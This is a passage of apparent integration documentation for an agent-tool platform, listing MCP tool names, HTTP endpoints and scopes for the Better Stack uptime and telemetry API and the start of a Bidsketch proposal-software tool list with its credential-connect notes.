uptime/v2 /policy-groups GET /api/v1/betterstack/uptime/v2/policy-groups. Scopes: read. betterstack_get_policy_groups_by_policy_group_id (read) — Get escalation policy group. GET uptime/v2 /policy-groups/{policy_group_id} GET /api/v1/betterstack/uptime/v2/policy-groups/{policy_group_id}. Scopes: read. betterstack_get_prometheus_integrations (read) — List prometheus integrations. GET uptime/v2 /prometheus-integrations GET /api/v1/betterstack/uptime/v2/prometheus-integrations. Scopes: read. betterstack_get_prometheus_integrations_by_prometheus_integration_id (read) — Get prometheus integration. GET uptime/v2 /prometheus-integrations/{prometheus_integration_id} GET /api/v1/betterstack/uptime/v2/prometheus-integrations/{prometheus_integration_id}. Scopes: read. betterstack_get_roles (read) — List roles. GET account/v2 /roles GET /api/v1/betterstack/account/v2/roles. Scopes: read. betterstack_get_slack_integrations (read) — List slack integrations. GET uptime/v2 /slack-integrations GET /api/v1/betterstack/uptime/v2/slack-integrations. Scopes: read. betterstack_get_slack_integrations_by_slack_integration_id (read) — Get slack integration. GET uptime/v2 /slack-integrations/{slack_integration_id} GET /api/v1/betterstack/uptime/v2/slack-integrations/{slack_integration_id}. Scopes: read. betterstack_get_source_groups (read) — List all source groups. GET telemetry/v1 /source-groups GET /api/v1/betterstack/telemetry/v1/source-groups. Scopes: read. betterstack_get_source_groups_by_id_sources (read) — List sources in a source group. GET telemetry/v1 /source-groups/{id}/sources GET /api/v1/betterstack/telemetry/v1/source-groups/{id}/sources. Scopes: read. betterstack_get_source_groups_by_source_group_id (read) — Get a single source group. GET telemetry/v1 /source-groups/{source_group_id} GET /api/v1/betterstack/telemetry/v1/source-groups/{source_group_id}. Scopes: read. betterstack_get_sources (read) — List all sources. GET telemetry/v2 /sources GET /api/v1/betterstack/telemetry/v2/sources. Scopes: read. betterstack_get_sources_by_source_id (read) — Get a single source. GET telemetry/v2 /sources/{source_id} GET /api/v1/betterstack/telemetry/v2/sources/{source_id}. Scopes: read. betterstack_get_sources_by_source_id_metrics (read) — List all metrics. GET telemetry/v2 /sources/{source_id}/metrics GET /api/v1/betterstack/telemetry/v2/sources/{source_id}/metrics. Scopes: read. betterstack_get_splunk_on_calls (read) — List splunk integrations. GET uptime/v2 /splunk-on-calls GET /api/v1/betterstack/uptime/v2/splunk-on-calls. Scopes: read. betterstack_get_splunk_on_calls_by_splunk_on_call_id (read) — Get splunk integration. GET uptime/v2 /splunk-on-calls/{splunk_on_call_id} GET /api/v1/betterstack/uptime/v2/splunk-on-calls/{splunk_on_call_id}. Scopes: read. betterstack_get_status_page_groups (read) — List status page groups. GET uptime/v2 /status-page-groups GET /api/v1/betterstack/uptime/v2/status-page-groups. Scopes: read. betterstack_get_status_page_groups_by_status_page_group_id (read) — Get status page group. GET uptime/v2 /status-page-groups/{status_page_group_id} GET /api/v1/betterstack/uptime/v2/status-page-groups/{status_page_group_id}. Scopes: read. betterstack_get_status_page_groups_by_status_page_group_id_status_pages (read) — List status pages in a group. GET uptime/v2 /status-page-groups/{status_page_group_id}/status-pages GET /api/v1/betterstack/uptime/v2/status-page-groups/{status_page_group_id}/status-pages. Scopes: read. betterstack_get_status_pages (read) — List status pages. GET uptime/v2 /status-pages GET /api/v1/betterstack/uptime/v2/status-pages. Scopes: read. betterstack_get_status_pages_by_status_page_id (read) — Get status page. GET uptime/v2 /status-pages/{status_page_id} GET /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}. Scopes: read. betterstack_get_status_pages_by_status_page_id_resources (read) — List status page resources. GET uptime/v2 /status-pages/{status_page_id}/resources GET /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}/resources. Scopes: read. betterstack_get_status_pages_by_status_page_id_resources_by_resource_id (read) — Get status page resource. GET uptime/v2 /status-pages/{status_page_id}/resources/{resource_id} GET /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}/resources/{resource_id}. Scopes: read. betterstack_get_status_pages_by_status_page_id_sections (read) — List status page sections. GET uptime/v2 /status-pages/{status_page_id}/sections GET /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}/sections. Scopes: read. betterstack_get_status_pages_by_status_page_id_sections_by_section_id (read) — Get status page section. GET uptime/v2 /status-pages/{status_page_id}/sections/{section_id} GET /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}/sections/{section_id}. Scopes: read. betterstack_get_status_pages_by_status_page_id_status_reports (read) — List status page reports. GET uptime/v2 /status-pages/{status_page_id}/status-reports GET /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}/status-reports. Scopes: read. betterstack_get_status_pages_by_status_page_id_status_reports_by_status_report_id (read) — Get status page report. GET uptime/v2 /status-pages/{status_page_id}/status-reports/{status_report_id} GET /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}/status-reports/{status_report_id}. Scopes: read. betterstack_get_status_pages_by_status_page_id_status_reports_by_status_report_id_status_updates (read) — List status updates per report. GET uptime/v2 /status-pages/{status_page_id}/status-reports/{status_report_id}/status-updates GET /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}/status-reports/{status_report_id}/status-updates. Scopes: read. betterstack_get_status_pages_by_status_page_id_status_reports_by_status_report_id_status_updates_by_status_update_id (read) — Get status update. GET uptime/v2 /status-pages/{status_page_id}/status-reports/{status_report_id}/status-updates/{status_update_id} GET /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}/status-reports/{status_report_id}/status-updates/{status_update_id}. Scopes: read. betterstack_get_status_pages_by_status_page_id_subscribers (read) — List status page subscribers. GET uptime/v2 /status-pages/{status_page_id}/subscribers GET /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}/subscribers. Scopes: read. betterstack_get_status_pages_by_status_page_id_subscribers_by_subscriber_id (read) — Get status page subscriber. GET uptime/v2 /status-pages/{status_page_id}/subscribers/{subscriber_id} GET /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}/subscribers/{subscriber_id}. Scopes: read. betterstack_get_team_members (read) — List all team members. GET account/v2 /team-members GET /api/v1/betterstack/account/v2/team-members. Scopes: read. betterstack_get_urgencies (read) — List severities. GET uptime/v2 /urgencies GET /api/v1/betterstack/uptime/v2/urgencies. Scopes: read. betterstack_get_urgencies_by_urgency_id (read) — Get severity. GET uptime/v2 /urgencies/{urgency_id} GET /api/v1/betterstack/uptime/v2/urgencies/{urgency_id}. Scopes: read. betterstack_get_urgency_groups (read) — List severity groups. GET uptime/v2 /urgency-groups GET /api/v1/betterstack/uptime/v2/urgency-groups. Scopes: read. betterstack_get_urgency_groups_by_urgency_group_id (read) — Get severity group. GET uptime/v2 /urgency-groups/{urgency_group_id} GET /api/v1/betterstack/uptime/v2/urgency-groups/{urgency_group_id}. Scopes: read. betterstack_get_usage (read) — Get usage overview. GET account/v2 /usage GET /api/v1/betterstack/account/v2/usage. Scopes: read. betterstack_patch_aws_cloudwatch_integrations_by_aws_cloudwatch_integration_id (write) — Update aws cloudwatch integration. PATCH uptime/v2 /aws-cloudwatch-integrations/{aws_cloudwatch_integration_id} PATCH /api/v1/betterstack/uptime/v2/aws-cloudwatch-integrations/{aws_cloudwatch_integration_id}. Scopes: write. betterstack_patch_azure_integrations_by_azure_integration_id (write) — Update azure integration. PATCH uptime/v2 /azure-integrations/{azure_integration_id} PATCH /api/v1/betterstack/uptime/v2/azure-integrations/{azure_integration_id}. Scopes: write. betterstack_patch_catalog_relations_by_relation_id (write) — Update catalog relation. PATCH uptime/v2 /catalog/relations/{relation_id} PATCH /api/v1/betterstack/uptime/v2/catalog/relations/{relation_id}. Scopes: write. betterstack_patch_catalog_relations_by_relation_id_attributes_by_attribute_id (write) — Update catalog attribute. PATCH uptime/v2 /catalog/relations/{relation_id}/attributes/{attribute_id} PATCH /api/v1/betterstack/uptime/v2/catalog/relations/{relation_id}/attributes/{attribute_id}. Scopes: write. betterstack_patch_catalog_relations_by_relation_id_records_by_record_id (write) — Update catalog record. PATCH uptime/v2 /catalog/relations/{relation_id}/records/{record_id} PATCH /api/v1/betterstack/uptime/v2/catalog/relations/{relation_id}/records/{record_id}. Scopes: write. betterstack_patch_collectors_by_collector_id_targets_by_target_id (write) — Update a collector metrics target. PATCH telemetry/v1 /collectors/{collector_id}/targets/{target_id} PATCH /api/v1/betterstack/telemetry/v1/collectors/{collector_id}/targets/{target_id}. Scopes: write. betterstack_patch_collectors_by_id (write) — Update a collector. PATCH telemetry/v1 /collectors/{id} PATCH /api/v1/betterstack/telemetry/v1/collectors/{id}. Scopes: write. betterstack_patch_datadog_integrations_by_datadog_integration_id (write) — Update datadog integration. PATCH uptime/v2 /datadog-integrations/{datadog_integration_id} PATCH /api/v1/betterstack/uptime/v2/datadog-integrations/{datadog_integration_id}. Scopes: write. betterstack_patch_elastic_integrations_by_elastic_integration_id (write) — Update elastic integration. PATCH uptime/v2 /elastic-integrations/{elastic_integration_id} PATCH /api/v1/betterstack/uptime/v2/elastic-integrations/{elastic_integration_id}. Scopes: write. betterstack_patch_email_integrations_by_email_integration_id (write) — Update email integration. PATCH uptime/v2 /email-integrations/{email_integration_id} PATCH /api/v1/betterstack/uptime/v2/email-integrations/{email_integration_id}. Scopes: write. betterstack_patch_google_monitoring_integrations_by_google_monitoring_integration_id (write) — Update google monitoring integration. PATCH uptime/v2 /google-monitoring-integrations/{google_monitoring_integration_id} PATCH /api/v1/betterstack/uptime/v2/google-monitoring-integrations/{google_monitoring_integration_id}. Scopes: write. betterstack_patch_grafana_integrations_by_grafana_integration_id (write) — Update grafana integration. PATCH uptime/v2 /grafana-integrations/{grafana_integration_id} PATCH /api/v1/betterstack/uptime/v2/grafana-integrations/{grafana_integration_id}. Scopes: write. betterstack_patch_heartbeat_groups_by_heartbeat_group_id (write) — Update heartbeat group. PATCH uptime/v2 /heartbeat-groups/{heartbeat_group_id} PATCH /api/v1/betterstack/uptime/v2/heartbeat-groups/{heartbeat_group_id}. Scopes: write. betterstack_patch_heartbeats_by_heartbeat_id (write) — Update heartbeat. PATCH uptime/v2 /heartbeats/{heartbeat_id} PATCH /api/v1/betterstack/uptime/v2/heartbeats/{heartbeat_id}. Scopes: write. betterstack_patch_incidents_by_incident_id_comments_by_comment_id (write) — Update comment. PATCH uptime/v2 /incidents/{incident_id}/comments/{comment_id} PATCH /api/v1/betterstack/uptime/v2/incidents/{incident_id}/comments/{comment_id}. Scopes: write. betterstack_patch_incoming_webhooks_by_incoming_webhook_id (write) — Update incoming webhook. PATCH uptime/v2 /incoming-webhooks/{incoming_webhook_id} PATCH /api/v1/betterstack/uptime/v2/incoming-webhooks/{incoming_webhook_id}. Scopes: write. betterstack_patch_jira_integrations_by_jira_integration_id (write) — Update jira integration. PATCH uptime/v2 /jira-integrations/{jira_integration_id} PATCH /api/v1/betterstack/uptime/v2/jira-integrations/{jira_integration_id}. Scopes: write. betterstack_patch_monitor_groups_by_monitor_group_id (write) — Update monitor group. PATCH uptime/v2 /monitor-groups/{monitor_group_id} PATCH /api/v1/betterstack/uptime/v2/monitor-groups/{monitor_group_id}. Scopes: write. betterstack_patch_monitors_by_monitor_id (write) — Update monitor. PATCH uptime/v2 /monitors/{monitor_id} PATCH /api/v1/betterstack/uptime/v2/monitors/{monitor_id}. Scopes: write. betterstack_patch_new_relic_integrations_by_new_relic_integration_id (write) — Update new relic integration. PATCH uptime/v2 /new-relic-integrations/{new_relic_integration_id} PATCH /api/v1/betterstack/uptime/v2/new-relic-integrations/{new_relic_integration_id}. Scopes: write. betterstack_patch_on_calls_by_schedule_id (write) — Update an on call schedule. PATCH uptime/v2 /on-calls/{schedule_id} PATCH /api/v1/betterstack/uptime/v2/on-calls/{schedule_id}. Scopes: write. betterstack_patch_on_calls_by_schedule_id_events_by_event_id (write) — Update on call schedule event. PATCH uptime/v2 /on-calls/{schedule_id}/events/{event_id} PATCH /api/v1/betterstack/uptime/v2/on-calls/{schedule_id}/events/{event_id}. Scopes: write. betterstack_patch_outgoing_webhooks_by_outgoing_webhook_id (write) — Update outgoing webhook. PATCH uptime/v2 /outgoing-webhooks/{outgoing_webhook_id} PATCH /api/v1/betterstack/uptime/v2/outgoing-webhooks/{outgoing_webhook_id}. Scopes: write. betterstack_patch_pager_duty_webhooks_by_pager_duty_webhook_id (write) — Update pagerduty integration. PATCH uptime/v2 /pager-duty-webhooks/{pager_duty_webhook_id} PATCH /api/v1/betterstack/uptime/v2/pager-duty-webhooks/{pager_duty_webhook_id}. Scopes: write. betterstack_patch_policies_by_policy_id (write) — Update escalation policy. PATCH uptime/v3 /policies/{policy_id} PATCH /api/v1/betterstack/uptime/v3/policies/{policy_id}. Scopes: write. betterstack_patch_policy_groups_by_policy_group_id (write) — Update escalation policy group. PATCH uptime/v2 /policy-groups/{policy_group_id} PATCH /api/v1/betterstack/uptime/v2/policy-groups/{policy_group_id}. Scopes: write. betterstack_patch_prometheus_integrations_by_prometheus_integration_id (write) — Update prometheus integration. PATCH uptime/v2 /prometheus-integrations/{prometheus_integration_id} PATCH /api/v1/betterstack/uptime/v2/prometheus-integrations/{prometheus_integration_id}. Scopes: write. betterstack_patch_source_groups_by_source_group_id (write) — Update a source group. PATCH telemetry/v1 /source-groups/{source_group_id} PATCH /api/v1/betterstack/telemetry/v1/source-groups/{source_group_id}. Scopes: write. betterstack_patch_sources_by_source_id (write) — Update a source. PATCH telemetry/v2 /sources/{source_id} PATCH /api/v1/betterstack/telemetry/v2/sources/{source_id}. Scopes: write. betterstack_patch_sources_by_source_id_metrics_by_id (write) — Update a metric. PATCH telemetry/v2 /sources/{source_id}/metrics/{id} PATCH /api/v1/betterstack/telemetry/v2/sources/{source_id}/metrics/{id}. Scopes: write. betterstack_patch_splunk_on_calls_by_splunk_on_call_id (write) — Update splunk integration. PATCH uptime/v2 /splunk-on-calls/{splunk_on_call_id} PATCH /api/v1/betterstack/uptime/v2/splunk-on-calls/{splunk_on_call_id}. Scopes: write. betterstack_patch_status_page_groups_by_status_page_group_id (write) — Update status page group. PATCH uptime/v2 /status-page-groups/{status_page_group_id} PATCH /api/v1/betterstack/uptime/v2/status-page-groups/{status_page_group_id}. Scopes: write. betterstack_patch_status_pages_by_status_page_id (write) — Update status page. PATCH uptime/v2 /status-pages/{status_page_id} PATCH /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}. Scopes: write. betterstack_patch_status_pages_by_status_page_id_resources_by_resource_id (write) — Update status page resource. PATCH uptime/v2 /status-pages/{status_page_id}/resources/{resource_id} PATCH /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}/resources/{resource_id}. Scopes: write. betterstack_patch_status_pages_by_status_page_id_sections_by_section_id (write) — Update status page section. PATCH uptime/v2 /status-pages/{status_page_id}/sections/{section_id} PATCH /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}/sections/{section_id}. Scopes: write. betterstack_patch_status_pages_by_status_page_id_status_reports_by_status_report_id (write) — Update status page report. PATCH uptime/v2 /status-pages/{status_page_id}/status-reports/{status_report_id} PATCH /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}/status-reports/{status_report_id}. Scopes: write. betterstack_patch_status_pages_by_status_page_id_status_reports_by_status_report_id_status_updates_by_status_update_id (write) — Update status update. PATCH uptime/v2 /status-pages/{status_page_id}/status-reports/{status_report_id}/status-updates/{status_update_id} PATCH /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}/status-reports/{status_report_id}/status-updates/{status_update_id}. Scopes: write. betterstack_patch_status_pages_by_status_page_id_subscribers_by_subscriber_id (write) — Update status page subscriber. PATCH uptime/v2 /status-pages/{status_page_id}/subscribers/{subscriber_id} PATCH /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}/subscribers/{subscriber_id}. Scopes: write. betterstack_patch_urgencies_by_urgency_id (write) — Update severity. PATCH uptime/v2 /urgencies/{urgency_id} PATCH /api/v1/betterstack/uptime/v2/urgencies/{urgency_id}. Scopes: write. betterstack_patch_urgency_groups_by_urgency_group_id (write) — Update severity group. PATCH uptime/v2 /urgency-groups/{urgency_group_id} PATCH /api/v1/betterstack/uptime/v2/urgency-groups/{urgency_group_id}. Scopes: write. betterstack_post_aws_cloudwatch_integrations (write) — Create aws cloudwatch integration. POST uptime/v2 /aws-cloudwatch-integrations POST /api/v1/betterstack/uptime/v2/aws-cloudwatch-integrations. Scopes: write. betterstack_post_azure_integrations (write) — Create azure integration. POST uptime/v2 /azure-integrations POST /api/v1/betterstack/uptime/v2/azure-integrations. Scopes: write. betterstack_post_catalog_relations (write) — Create catalog relation. POST uptime/v2 /catalog/relations POST /api/v1/betterstack/uptime/v2/catalog/relations. Scopes: write. betterstack_post_catalog_relations_by_relation_id_attributes (write) — Create catalog attribute. POST uptime/v2 /catalog/relations/{relation_id}/attributes POST /api/v1/betterstack/uptime/v2/catalog/relations/{relation_id}/attributes. Scopes: write. betterstack_post_catalog_relations_by_relation_id_records (write) — Create catalog record. POST uptime/v2 /catalog/relations/{relation_id}/records POST /api/v1/betterstack/uptime/v2/catalog/relations/{relation_id}/records. Scopes: write. betterstack_post_catalog_relations_by_relation_id_records_batch (write) — Batch create catalog records. POST uptime/v2 /catalog/relations/{relation_id}/records/batch POST /api/v1/betterstack/uptime/v2/catalog/relations/{relation_id}/records/batch. Scopes: write. betterstack_post_collectors (write) — Create a collector. POST telemetry/v1 /collectors POST /api/v1/betterstack/telemetry/v1/collectors. Scopes: write. betterstack_post_collectors_by_collector_id_targets (write) — Create a collector metric target. POST telemetry/v1 /collectors/{collector_id}/targets POST /api/v1/betterstack/telemetry/v1/collectors/{collector_id}/targets. Scopes: write. betterstack_post_datadog_integrations (write) — Create datadog integration. POST uptime/v2 /datadog-integrations POST /api/v1/betterstack/uptime/v2/datadog-integrations. Scopes: write. betterstack_post_elastic_integrations (write) — Create elastic integration. POST uptime/v2 /elastic-integrations POST /api/v1/betterstack/uptime/v2/elastic-integrations. Scopes: write. betterstack_post_email_integrations (write) — Create email integration. POST uptime/v2 /email-integrations POST /api/v1/betterstack/uptime/v2/email-integrations. Scopes: write. betterstack_post_google_monitoring_integrations (write) — Create google monitoring integration. POST uptime/v2 /google-monitoring-integrations POST /api/v1/betterstack/uptime/v2/google-monitoring-integrations. Scopes: write. betterstack_post_grafana_integrations (write) — Create grafana integration. POST uptime/v2 /grafana-integrations POST /api/v1/betterstack/uptime/v2/grafana-integrations. Scopes: write. betterstack_post_heartbeat_groups (write) — Create heartbeat group. POST uptime/v2 /heartbeat-groups POST /api/v1/betterstack/uptime/v2/heartbeat-groups. Scopes: write. betterstack_post_heartbeats (write) — Create a heartbeat. POST uptime/v2 /heartbeats POST /api/v1/betterstack/uptime/v2/heartbeats. Scopes: write. betterstack_post_incidents (write) — Create incident. POST uptime/v3 /incidents POST /api/v1/betterstack/uptime/v3/incidents. Scopes: write. betterstack_post_incidents_by_incident_id_acknowledge (write) — Acknowledge incident. POST uptime/v3 /incidents/{incident_id}/acknowledge POST /api/v1/betterstack/uptime/v3/incidents/{incident_id}/acknowledge. Scopes: write. betterstack_post_incidents_by_incident_id_comments (write) — Create comment. POST uptime/v2 /incidents/{incident_id}/comments POST /api/v1/betterstack/uptime/v2/incidents/{incident_id}/comments. Scopes: write. betterstack_post_incidents_by_incident_id_escalate (write) — Escalate incident. POST uptime/v3 /incidents/{incident_id}/escalate POST /api/v1/betterstack/uptime/v3/incidents/{incident_id}/escalate. Scopes: write. betterstack_post_incidents_by_incident_id_reopen (write) — Reopen incident. POST uptime/v3 /incidents/{incident_id}/reopen POST /api/v1/betterstack/uptime/v3/incidents/{incident_id}/reopen. Scopes: write. betterstack_post_incidents_by_incident_id_resolve (write) — Resolve incident. POST uptime/v3 /incidents/{incident_id}/resolve POST /api/v1/betterstack/uptime/v3/incidents/{incident_id}/resolve. Scopes: write. betterstack_post_incoming_webhooks (write) — Create incoming webhook. POST uptime/v2 /incoming-webhooks POST /api/v1/betterstack/uptime/v2/incoming-webhooks. Scopes: write. betterstack_post_metadata (write) — Update metadata. POST uptime/v3 /metadata POST /api/v1/betterstack/uptime/v3/metadata. Scopes: write. betterstack_post_monitor_groups (write) — Create monitor group. POST uptime/v2 /monitor-groups POST /api/v1/betterstack/uptime/v2/monitor-groups. Scopes: write. betterstack_post_monitors (write) — Create monitor. POST uptime/v2 /monitors POST /api/v1/betterstack/uptime/v2/monitors. Scopes: write. betterstack_post_new_relic_integrations (write) — Create new relic integration. POST uptime/v2 /new-relic-integrations POST /api/v1/betterstack/uptime/v2/new-relic-integrations. Scopes: write. betterstack_post_on_calls (write) — Create an on call schedule. POST uptime/v2 /on-calls POST /api/v1/betterstack/uptime/v2/on-calls. Scopes: write. betterstack_post_on_calls_by_schedule_id_events (write) — Create an on call schedule event. POST uptime/v2 /on-calls/{schedule_id}/events POST /api/v1/betterstack/uptime/v2/on-calls/{schedule_id}/events. Scopes: write. betterstack_post_on_calls_by_schedule_id_rotation (write) — Create an on call schedule rotation. POST uptime/v2 /on-calls/{schedule_id}/rotation POST /api/v1/betterstack/uptime/v2/on-calls/{schedule_id}/rotation. Scopes: write. betterstack_post_outgoing_webhooks (write) — Create outgoing webhook. POST uptime/v2 /outgoing-webhooks POST /api/v1/betterstack/uptime/v2/outgoing-webhooks. Scopes: write. betterstack_post_pager_duty_webhooks (write) — Create pagerduty integration. POST uptime/v2 /pager-duty-webhooks POST /api/v1/betterstack/uptime/v2/pager-duty-webhooks. Scopes: write. betterstack_post_policies (write) — Create escalation policy. POST uptime/v3 /policies POST /api/v1/betterstack/uptime/v3/policies. Scopes: write. betterstack_post_policy_groups (write) — Create escalation policy group. POST uptime/v2 /policy-groups POST /api/v1/betterstack/uptime/v2/policy-groups. Scopes: write. betterstack_post_prometheus_integrations (write) — Create prometheus integration. POST uptime/v2 /prometheus-integrations POST /api/v1/betterstack/uptime/v2/prometheus-integrations. Scopes: write. betterstack_post_source_groups (write) — Create a source group. POST telemetry/v1 /source-groups POST /api/v1/betterstack/telemetry/v1/source-groups. Scopes: write. betterstack_post_sources (write) — Create a source. POST telemetry/v2 /sources POST /api/v1/betterstack/telemetry/v2/sources. Scopes: write. betterstack_post_sources_by_source_id_metrics (write) — Create a metric. POST telemetry/v2 /sources/{source_id}/metrics POST /api/v1/betterstack/telemetry/v2/sources/{source_id}/metrics. Scopes: write. betterstack_post_splunk_on_calls (write) — Create a splunk integration. POST uptime/v2 /splunk-on-calls POST /api/v1/betterstack/uptime/v2/splunk-on-calls. Scopes: write. betterstack_post_status_page_groups (write) — Create status page group. POST uptime/v2 /status-page-groups POST /api/v1/betterstack/uptime/v2/status-page-groups. Scopes: write. betterstack_post_status_pages (write) — Create status page. POST uptime/v2 /status-pages POST /api/v1/betterstack/uptime/v2/status-pages. Scopes: write. betterstack_post_status_pages_by_status_page_id_resources (write) — Create status page resource. POST uptime/v2 /status-pages/{status_page_id}/resources POST /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}/resources. Scopes: write. betterstack_post_status_pages_by_status_page_id_sections (write) — Create status page section. POST uptime/v2 /status-pages/{status_page_id}/sections POST /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}/sections. Scopes: write. betterstack_post_status_pages_by_status_page_id_status_reports (write) — Create status page report. POST uptime/v2 /status-pages/{status_page_id}/status-reports POST /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}/status-reports. Scopes: write. betterstack_post_status_pages_by_status_page_id_status_reports_by_status_report_id_status_updates (write) — Create status update. POST uptime/v2 /status-pages/{status_page_id}/status-reports/{status_report_id}/status-updates POST /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}/status-reports/{status_report_id}/status-updates. Scopes: write. betterstack_post_status_pages_by_status_page_id_subscribers (write) — Create status page subscriber. POST uptime/v2 /status-pages/{status_page_id}/subscribers POST /api/v1/betterstack/uptime/v2/status-pages/{status_page_id}/subscribers. Scopes: write. betterstack_post_urgencies (write) — Create severity. POST uptime/v2 /urgencies POST /api/v1/betterstack/uptime/v2/urgencies. Scopes: write. betterstack_post_urgency_groups (write) — Create severity group. POST uptime/v2 /urgency-groups POST /api/v1/betterstack/uptime/v2/urgency-groups. Scopes: write. betterstack_put_catalog_relations_by_relation_id_records_batch (write) — Batch update catalog records. PUT uptime/v2 /catalog/relations/{relation_id}/records/batch PUT /api/v1/betterstack/uptime/v2/catalog/relations/{relation_id}/records/batch. Scopes: write. betterstack_put_on_calls_by_schedule_id_events (write) — Bulk update on call schedule events. PUT uptime/v2 /on-calls/{schedule_id}/events PUT /api/v1/betterstack/uptime/v2/on-calls/{schedule_id}/events. Scopes: write. ================================================================================ ## Bidsketch URL: https://www.agenticfabriq.com/integrations/bidsketch Section: Integrated Tools Bidsketch — 40 MCP tools Provider key: bidsketch. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. bidsketch_delete_clients_by_client_id_json (write, destructive) — Delete Client via DELETE /clients/{client_id}.json. Deletes a client and answers 204 No Content. This also deletes all of the client's proposals. DELETE /api/v1/bidsketch/clients/{client_id}.json. Scopes: api. bidsketch_delete_fees_by_fee_id_json (write, destructive) — Delete Fee via DELETE /fees/{fee_id}.json. Deletes that saved fee. DELETE /api/v1/bidsketch/fees/{fee_id}.json. Scopes: api. bidsketch_delete_proposals_by_proposal_id_fees_by_fee_id_json (write, destructive) — Delete Proposal Fee via DELETE /proposals/{proposal_id}/fees/{fee_id}.json. Deletes that proposal fee. DELETE /api/v1/bidsketch/proposals/{proposal_id}/fees/{fee_id}.json. Scopes: api. bidsketch_delete_proposals_by_proposal_id_json (write, destructive) — Delete Proposal via DELETE /proposals/{proposal_id}.json. Deletes a proposal and all its content, and answers 204 No Content. DELETE /api/v1/bidsketch/proposals/{proposal_id}.json. Scopes: api. bidsketch_delete_proposals_by_proposal_id_sections_by_section_id_json (write, destructive) — Delete Proposal Section via DELETE /proposals/{proposal_id}/sections/{section_id}.json. Deletes that proposal section. DELETE /api/v1/bidsketch/proposals/{proposal_id}/sections/{section_id}.json. Scopes: api. bidsketch_delete_sections_by_section_id_json (write, destructive) — Delete Section via DELETE /sections/{section_id}.json. Deletes a saved section. DELETE /api/v1/bidsketch/sections/{section_id}.json. Scopes: api. bidsketch_delete_webhooks_by_webhook_id_json (write, destructive) — Delete Webhook via DELETE /webhooks/{webhook_id}.json. Deletes a webhook and answers 204 No Content. DELETE /api/v1/bidsketch/webhooks/{webhook_id}.json. Scopes: api. bidsketch_get_clients_by_client_id_json (read) — Get Client via GET /clients/{client_id}.json. Gets one client by id: contact details, address, notes and the secondary contact. GET /api/v1/bidsketch/clients/{client_id}.json. Scopes: api. bidsketch_get_clients_by_client_id_proposals_json (read) — Get Client Proposals via GET /clients/{client_id}/proposals.json. Gets a collection of all the proposals for a single client. GET /api/v1/bidsketch/clients/{client_id}/proposals.json. Scopes: api. bidsketch_get_clients_json (read) — Get Clients via GET /clients.json. Returns all the clients on the account (clients are the people or companies proposals are prepared for), 100 per page by default. GET /api/v1/bidsketch/clients.json. Scopes: api. bidsketch_get_fees_by_fee_id_json (read) — Get Fee via GET /fees/{fee_id}.json. Gets a single saved fee. GET /api/v1/bidsketch/fees/{fee_id}.json. Scopes: api. bidsketch_get_fees_json (read) — Get Fees via GET /fees.json. Lists all the fees saved to the account to be reused in future proposals. GET /api/v1/bidsketch/fees.json. Scopes: api. bidsketch_get_proposals_by_proposal_id_content_json (read) — Get Proposal Content via GET /proposals/{proposal_id}/content.json. Gets a proposal with all its content in one call: opening sections, then fees, then closing sections, which is the order they appear in the proposal. GET /api/v1/bidsketch/proposals/{proposal_id}/content.json. Scopes: api. bidsketch_get_proposals_by_proposal_id_fees (read) — Get Proposal Fees via GET /proposals/{proposal_id}/fees.json. Lists all the fees on a proposal. Proposal fees belong to that proposal; account-level reusable fees are Get Fees. GET /api/v1/bidsketch/proposals/{proposal_id}/fees.json. Scopes: api. bidsketch_get_proposals_by_proposal_id_fees_by_fee_id_json (read) — Get Proposal Fee via GET /proposals/{proposal_id}/fees/{fee_id}.json. Gets a single fee on a proposal, with its amount, quantity, unit, total and formatted details. GET /api/v1/bidsketch/proposals/{proposal_id}/fees/{fee_id}.json. Scopes: api. bidsketch_get_proposals_by_proposal_id_json (read) — Get Proposal via GET /proposals/{proposal_id}.json. Gets one proposal: status, owner, currency, calculated taxes, discount and fee subtotals, settings, its client, and links to its opening sections, fees and closing sections. GET /api/v1/bidsketch/proposals/{proposal_id}.json. Scopes: api. bidsketch_get_proposals_by_proposal_id_sections_by_section_id_json (read) — Get Proposal Section via GET /proposals/{proposal_id}/sections/{section_id}.json. Fetches a single proposal section, including its HTML description. GET /api/v1/bidsketch/proposals/{proposal_id}/sections/{section_id}.json. Scopes: api. bidsketch_get_proposals_by_proposal_id_sections_closing_json (read) — Get Proposal Closing Sections via GET /proposals/{proposal_id}/sections/closing.json. Lists a proposal's closing sections, which are presented last, after its fees. GET /api/v1/bidsketch/proposals/{proposal_id}/sections/closing.json. Scopes: api. bidsketch_get_proposals_by_proposal_id_sections_json (read) — Get Proposal Sections via GET /proposals/{proposal_id}/sections.json. Gets all the sections of a proposal, opening and closing. Proposal sections belong to that proposal; account-level reusable sections are Get Sections. GET /api/v1/bidsketch/proposals/{proposal_id}/sections.json. Scopes: api. bidsketch_get_proposals_by_proposal_id_sections_opening_json (read) — Get Proposal Opening Sections via GET /proposals/{proposal_id}/sections/opening.json. Lists a proposal's opening sections, which are presented first, before its fees. GET /api/v1/bidsketch/proposals/{proposal_id}/sections/opening.json. Scopes: api. bidsketch_get_proposals_json (read) — Get Proposals via GET 